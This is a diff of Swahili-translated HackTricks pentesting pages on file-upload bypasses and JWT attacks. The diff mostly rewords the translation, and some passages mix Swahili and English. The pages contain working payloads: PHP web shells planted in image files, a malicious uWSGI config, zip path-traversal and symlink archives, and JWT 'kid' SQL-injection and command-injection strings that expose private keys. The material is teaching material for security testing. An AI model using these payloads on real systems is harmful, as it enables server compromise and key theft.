Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackiwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha Kiswahili kunahitajika_).
|
||||
|
||||
|
@ -36,7 +36,7 @@ Extensions nyingine muhimu:
|
|||
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kutumia herufi **za juu**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Ikiwa zinatumika, **angalia** **extensions za awali.** Pia jaribu kutumia baadhi ya **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Angalia **kuongeza extension halali kabla** ya extension ya utekelezaji (tumia extensions za awali pia):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
|
@ -50,7 +50,7 @@ Extensions nyingine muhimu:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Jaribu kupita ulinzi **kwa kudanganya parser ya extension** ya upande wa seva kwa mbinu kama **kuongeza** **extension** au **kuongeza data** ya **junk** (**null** bytes) kati ya extensions. _Unaweza pia kutumia **extensions za awali** kuandaa payload bora._
|
||||
4. Jaribu kupita ulinzi **kwa kudanganya parser ya extension** ya upande wa seva kwa mbinu kama **kuongeza** **extension** au **kuongeza data ya junk** (**null** bytes) kati ya extensions. _Unaweza pia kutumia **extensions za awali** kuandaa payload bora._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -62,7 +62,7 @@ Extensions nyingine muhimu:
|
|||
5. Ongeza **tabaka lingine la extensions** kwa ukaguzi wa awali:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na usanidi mbaya. (inayofaa kutumia exploit misconfigurations ya Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** si lazima kumalizika na .php\*\* itatekeleza msimbo):
|
||||
6. Jaribu kuweka **exec extension kabla ya extension halali** na uombe ili seva iwe na mipangilio isiyo sahihi. (inayofaa kutumia katika makosa ya mipangilio ya Apache ambapo chochote chenye extension\*\* _**.php**_**, lakini** si lazima kumalizika na .php\*\* itatekeleza msimbo):
|
||||
* _ex: file.php.png_
|
||||
7. Kutumia **NTFS alternate data stream (ADS)** katika **Windows**. Katika kesi hii, herufi ya koloni “:” itaingizwa baada ya extension iliyokatazwa na kabla ya ile inayoruhusiwa. Kama matokeo, **faili tupu yenye extension iliyokatazwa** itaundwa kwenye seva (mfano “file.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu nyingine kama kutumia jina lake fupi. Mwelekeo wa “**::$data**” unaweza pia kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya nukta baada ya mwelekeo huu inaweza pia kuwa na manufaa kupita vizuizi zaidi (.e.g. “file.asp::$data.”)
|
||||
8. Jaribu kuvunja mipaka ya jina la faili. Extension halali inakatwa. Na PHP mbaya inabaki. AAA<--SNIP-->AAA.php
|
||||
|
@ -86,22 +86,22 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` au unaweza pia **kuingiza payload moja kwa moja** katika picha:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Ikiwa **compression inaongezwa kwenye picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* Ikiwa **kushinikiza kunatolewa kwa picha yako**, kwa mfano kwa kutumia maktaba za kawaida za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **PLTE chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kushinikizwa.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Tovuti inaweza pia kuwa **ikiunda** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* Tovuti inaweza pia kuwa **ikiweka** **picha**, kwa kutumia kwa mfano kazi za PHP-GD `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **IDAT chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kushinikizwa.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Mbinu nyingine ya kutengeneza payload ambayo **inatunza wakati wa kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya compression.
|
||||
* Mbinu nyingine ya kutengeneza payload inayoweza **kudumu baada ya kupunguza picha**, kwa kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **tEXt chunk** [**mbinu iliyofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandiko ambayo yatadumu hata baada ya kushinikizwa.
|
||||
* [**Github na msimbo**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
* Tafuta udhaifu wa **kurekebisha** faili iliyopakiwa tayari (kubadilisha extension).
|
||||
* Tafuta udhaifu wa **kubadilisha** jina la faili iliyopakiwa tayari (kubadilisha extension).
|
||||
* Tafuta udhaifu wa **Local File Inclusion** kutekeleza backdoor.
|
||||
* **Kuweza Kuweka Taarifa**:
|
||||
* **Ufunuo wa Taarifa unaowezekana**:
|
||||
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) faili **ile ile** yenye **jina lile lile**
|
||||
2. Pakia faili yenye **jina** la **faili** au **folder** ambayo **tayari ipo**
|
||||
3. Kupakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache katika **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka “/www/uploads/”, jina la “.” litaunda faili inayoitwa “uploads” katika saraka “/www/”.
|
||||
4. Pakia faili ambayo huenda isiweze kufutwa kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
|
||||
4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
|
||||
5. Pakia faili katika **Windows** yenye **herufi zisizo sahihi** kama `|<>*?”` katika jina lake. (Windows)
|
||||
6. Pakia faili katika **Windows** kwa kutumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
|
||||
* Jaribu pia **kupakia executable** (.exe) au **.html** (isiyo na mashaka) ambayo **itaendesha msimbo** wakati itakapofunguliwa kwa bahati mbaya na mwathirika.
|
||||
|
@ -117,7 +117,7 @@ Extension ya `.inc` wakati mwingine hutumiwa kwa faili za php ambazo zinatumika
|
|||
|
||||
## **Jetty RCE**
|
||||
|
||||
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
|
||||
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **xml mpya \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Hivyo, kama ilivyotajwa katika picha ifuatayo, pakia faili ya XML kwenye `$JETTY_BASE/webapps/` na subiri shell!
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -125,7 +125,7 @@ Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa
|
|||
|
||||
Kwa uchambuzi wa kina wa udhaifu huu angalia utafiti wa asili: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Udhaifu wa Remote Command Execution (RCE) unaweza kutumika katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya usanidi ya `.ini`. Faili za usanidi za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya usanidi ya `.ini` inashughulikiwa.
|
||||
Udhaifu wa Remote Command Execution (RCE) unaweza kutumiwa katika seva za uWSGI ikiwa mtu ana uwezo wa kubadilisha faili ya mipangilio ya `.ini`. Faili za mipangilio za uWSGI zinatumia sintaksia maalum kuingiza "michanganyiko" ya mabadiliko, nafasi, na waendeshaji. Kwa hakika, waendeshaji '@', wanaotumika kama `@(filename)`, wameundwa kuingiza maudhui ya faili. Kati ya mipango mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni wenye nguvu sana, ukiruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kudanganywa kwa madhumuni mabaya kama Remote Command Execution au Arbitrary File Write/Read wakati faili ya mipangilio ya `.ini` inashughulikiwa.
|
||||
|
||||
Fikiria mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mipango mbalimbali:
|
||||
```ini
|
||||
|
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP irejelee faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili lililorejelewa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa katika URL ya awali**.
|
||||
Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufanya **seva ya HTTP ielekeze kwenye faili tofauti**, hivyo URL ya awali itapita ukaguzi na kisha wget itashusha faili iliyoelekezwa kwa jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameta** `--trust-server-names` kwa sababu **wget itashusha ukurasa ulioelekezwa kwa jina la faili lililoonyeshwa kwenye URL ya awali**.
|
||||
|
||||
## Zana
|
||||
|
||||
|
@ -193,7 +193,7 @@ Note that **chaguo kingine** unachoweza kufikiria ili kupita ukaguzi huu ni kufa
|
|||
* [**Open Redirect** kupitia kupakia faili la svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Jaribu **payloads tofauti za svg** kutoka [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Udhaifu maarufu wa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha** hii itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
|
||||
* Ikiwa unaweza **kuonyesha seva ya wavuti kukamata picha kutoka URL** unaweza kujaribu kutumia [SSRF](../ssrf-server-side-request-forgery/). Ikiwa **picha hii** itahifadhiwa katika tovuti **ya umma**, unaweza pia kuonyesha URL kutoka [https://iplogger.org/invisible/](https://iplogger.org/invisible/) na **kuiba taarifa za kila mtembezi**.
|
||||
* [**XXE na CORS** bypass na PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDFs zilizoundwa kwa makini kwa XSS: [ukurasa ufuatao unaonyesha jinsi ya **kuingiza data za PDF ili kupata utekelezaji wa JS**](../xss-cross-site-scripting/pdf-injection.md). Ikiwa unaweza kupakia PDFs unaweza kuandaa PDF ambazo zitatekeleza JS zisizo za kawaida kufuatia maelekezo yaliyotolewa.
|
||||
* Pakia maudhui ya \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) ili kuangalia ikiwa seva ina **antivirus**
|
||||
|
@ -223,13 +223,13 @@ Hapa kuna orodha ya mambo 10 unayoweza kufikia kwa kupakia (kutoka [hapa](https:
|
|||
|
||||
Rejelea [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) kwa aina nyingine za faili.
|
||||
|
||||
### Zip/Tar Faili Inayopakiwa Kiotomatiki
|
||||
### Zip/Tar Faili Zilizopakiwa Zitaondolewa Kiotomatiki
|
||||
|
||||
Ikiwa unaweza kupakia ZIP ambayo itakua ikitolewa ndani ya seva, unaweza kufanya mambo 2:
|
||||
Ikiwa unaweza kupakia ZIP ambayo itakuaondolewa ndani ya seva, unaweza kufanya mambo 2:
|
||||
|
||||
#### Symlink
|
||||
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizotolewa utaweza kufikia faili zilizounganishwa:
|
||||
Pakia kiungo kinachokuwa na viungo vya laini kwa faili nyingine, kisha, ukifika kwenye faili zilizondolewa utapata faili zilizounganishwa:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Decompress in different folders
|
||||
|
||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili zenye uharibifu, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita kwenye saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
|
||||
Uundaji wa faili zisizotarajiwa katika saraka wakati wa uundaji ni tatizo kubwa. Licha ya dhana za awali kwamba mpangilio huu unaweza kulinda dhidi ya utekelezaji wa amri za kiwango cha OS kupitia upakuaji wa faili hatari, msaada wa uhamasishaji wa kihierarkia na uwezo wa kupita saraka wa muundo wa ZIP unaweza kutumika. Hii inawawezesha washambuliaji kupita vizuizi na kutoroka saraka salama za upakuaji kwa kubadilisha kazi ya uundaji ya programu inayolengwa.
|
||||
|
||||
Kibao cha kiotomatiki cha kutengeneza faili kama hizo kinapatikana kwenye [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Chombo hiki kinaweza kutumika kama inavyoonyeshwa:
|
||||
```python
|
||||
|
@ -270,7 +270,7 @@ create_zip()
|
|||
|
||||
Kwa maelezo zaidi **angalia chapisho la asili katika**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Kuunda PHP Shell**: Kode ya PHP imeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
|
||||
1. **Kuunda PHP Shell**: Msimbo wa PHP umeandikwa ili kutekeleza amri zinazopitishwa kupitia mabadiliko ya `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -306,7 +306,7 @@ pop graphic-context
|
|||
|
||||
Kuunganisha PHP shell katika IDAT chunk ya faili ya PNG kunaweza kupita kwa ufanisi operesheni fulani za usindikaji wa picha. Kazi za `imagecopyresized` na `imagecopyresampled` kutoka PHP-GD ni muhimu katika muktadha huu, kwani hutumiwa mara nyingi kwa ajili ya kubadilisha ukubwa na kusampuli picha, mtawalia. Uwezo wa PHP shell iliyounganishwa kubaki bila kuathiriwa na operesheni hizi ni faida kubwa kwa matumizi fulani.
|
||||
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa ufahamu wa kina wa mchakato na athari zake.
|
||||
Uchunguzi wa kina wa mbinu hii, ikiwa ni pamoja na mbinu zake na matumizi yake yanayoweza, unapatikana katika makala ifuatayo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Rasilimali hii inatoa uelewa wa kina wa mchakato na athari zake.
|
||||
|
||||
Maelezo zaidi katika: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -316,7 +316,7 @@ Faili za polyglot hutumikia kama chombo cha kipekee katika usalama wa mtandao, z
|
|||
|
||||
Faida kuu ya faili za polyglot inategemea uwezo wao wa kupita hatua za usalama ambazo zinachuja faili kulingana na aina. Utaratibu wa kawaida katika programu mbalimbali unajumuisha kuruhusu aina fulani tu za faili kupakiwa—kama JPEG, GIF, au DOC—ili kupunguza hatari inayoweza kutokea kutokana na muundo hatari (k.m., JS, PHP, au faili za Phar). Hata hivyo, polyglot, kwa kuzingatia vigezo vya muundo wa aina nyingi za faili, inaweza kupita kwa siri vizuizi hivi.
|
||||
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot unaweza usitoshe kuhakikisha kupakia kwake.
|
||||
Licha ya uwezo wao wa kubadilika, polyglots wanakutana na vikwazo. Kwa mfano, wakati polyglot inaweza kuwa na faili ya PHAR (PHp ARchive) na JPEG kwa wakati mmoja, mafanikio ya kupakia kwake yanaweza kutegemea sera za upanuzi wa faili za jukwaa. Ikiwa mfumo unakuwa mkali kuhusu upanuzi unaoruhusiwa, muundo wa polyglot peke yake huenda usitoshe kuhakikisha kupakia kwake.
|
||||
|
||||
Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -329,7 +329,7 @@ Maelezo zaidi katika: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_kuandika na kuzungumza kwa ufasaha kwa Kiholanzi kunahitajika_).
|
||||
|
||||
|
@ -69,7 +69,7 @@ Check if the token lasts more than 24h... maybe it never expires. If there is a
|
|||
|
||||
[**See this page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### Badilisha algorithmu kuwa None
|
||||
### Badilisha algorithmu kuwa Hakuna
|
||||
|
||||
Set the algorithm used as "None" and remove the signature part.
|
||||
|
||||
|
@ -102,8 +102,8 @@ Maelekezo yanaelezea njia ya kutathmini usalama wa JWT tokens, hasa zile zinazot
|
|||
* Thibitisha URL ya dhamira "jku" ili kuhakikisha inapeleka kwenye faili sahihi ya JWKS.
|
||||
* Badilisha thamani ya "jku" ya token ili kuelekeza kwenye huduma ya wavuti inayodhibitiwa, kuruhusu ufuatiliaji wa trafiki.
|
||||
* **Kufuatilia Maingiliano ya HTTP**:
|
||||
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva kupata funguo kutoka kiungo chako kilichotolewa.
|
||||
* Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kuboresha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
|
||||
* Kuangalia maombi ya HTTP kwenye URL yako iliyotolewa kunaonyesha juhudi za seva za kupata funguo kutoka kwenye kiungo chako kilichotolewa.
|
||||
* Unapokuwa unatumia `jwt_tool` kwa mchakato huu, ni muhimu kusasisha faili ya `jwtconf.ini` na eneo lako la JWKS binafsi ili kuwezesha majaribio.
|
||||
* **Amri kwa `jwt_tool`**:
|
||||
* Tekeleza amri ifuatayo ili kuiga hali hiyo na `jwt_tool`:
|
||||
|
||||
|
@ -121,34 +121,34 @@ Wakati dhamira ya `kid` inapatikana kwenye kichwa, inashauriwa kutafuta kwenye d
|
|||
|
||||
#### Path Traversal with "kid"
|
||||
|
||||
Dhamira ya `kid` inaweza pia kutumika vibaya kuzunguka mfumo wa faili, ikiruhusu kuchagua faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
|
||||
Dhamira ya `kid` inaweza pia kutumika kubadilisha kupitia mfumo wa faili, ikiruhusu kuchaguliwa kwa faili yoyote. Inawezekana kujaribu kuunganishwa au kutekeleza mashambulizi ya Server-Side Request Forgery (SSRF) kwa kubadilisha thamani ya `kid` ili kulenga faili au huduma maalum. Kubadilisha JWT ili kubadilisha thamani ya `kid` huku ukihifadhi saini ya awali kunaweza kufanywa kwa kutumia bendera `-T` katika jwt\_tool, kama inavyoonyeshwa hapa chini:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Kwa kulenga faili zenye maudhui yanayoweza kutabirika, inawezekana kutengeneza JWT halali. Kwa mfano, faili ya `/proc/sys/kernel/randomize_va_space` katika mifumo ya Linux, inayojulikana kuwa na thamani **2**, inaweza kutumika katika parameter ya `kid` na **2** kama nenosiri la simetriki kwa ajili ya uzalishaji wa JWT.
|
||||
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation.
|
||||
|
||||
#### SQL Injection kupitia "kid"
|
||||
#### SQL Injection via "kid"
|
||||
|
||||
Ikiwa maudhui ya dai la `kid` yanatumika kupata nenosiri kutoka kwenye hifadhidata, kuingilia kati kwa SQL kunaweza kuwezesha kwa kubadilisha payload ya `kid`. Mfano wa payload inayotumia SQL injection kubadilisha mchakato wa kusaini JWT ni:
|
||||
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
Mabadiliko haya yanawalazimisha kutumia funguo ya siri inayojulikana, `ATTACKER`, kwa ajili ya kusaini JWT.
|
||||
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
|
||||
|
||||
#### OS Injection kupitia "kid"
|
||||
#### OS Injection through "kid"
|
||||
|
||||
Hali ambapo parameter ya `kid` inaelekeza kwenye njia ya faili inayotumika ndani ya muktadha wa utekelezaji wa amri inaweza kusababisha udhaifu wa Remote Code Execution (RCE). Kwa kuingiza amri katika parameter ya `kid`, inawezekana kufichua funguo za faragha. Mfano wa payload kwa ajili ya kufikia RCE na ufichuzi wa funguo ni:
|
||||
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
### x5u na jku
|
||||
### x5u and jku
|
||||
|
||||
#### jku
|
||||
|
||||
jku inasimama kwa **JWK Set URL**.\
|
||||
Ikiwa token inatumia dai la “**jku**” **Header** basi **angalia URL iliyotolewa**. Hii inapaswa kuelekeza kwenye URL inayoshikilia faili la JWKS ambalo lina Funguo ya Umma kwa ajili ya kuthibitisha token. Badilisha token ili kuelekeza thamani ya jku kwenye huduma ya wavuti ambayo unaweza kufuatilia trafiki yake.
|
||||
jku inamaanisha **JWK Set URL**.\
|
||||
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
|
||||
|
||||
Kwanza unahitaji kuunda cheti kipya chenye funguo mpya za faragha na za umma.
|
||||
First you need to create a new certificate with new private & public keys.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
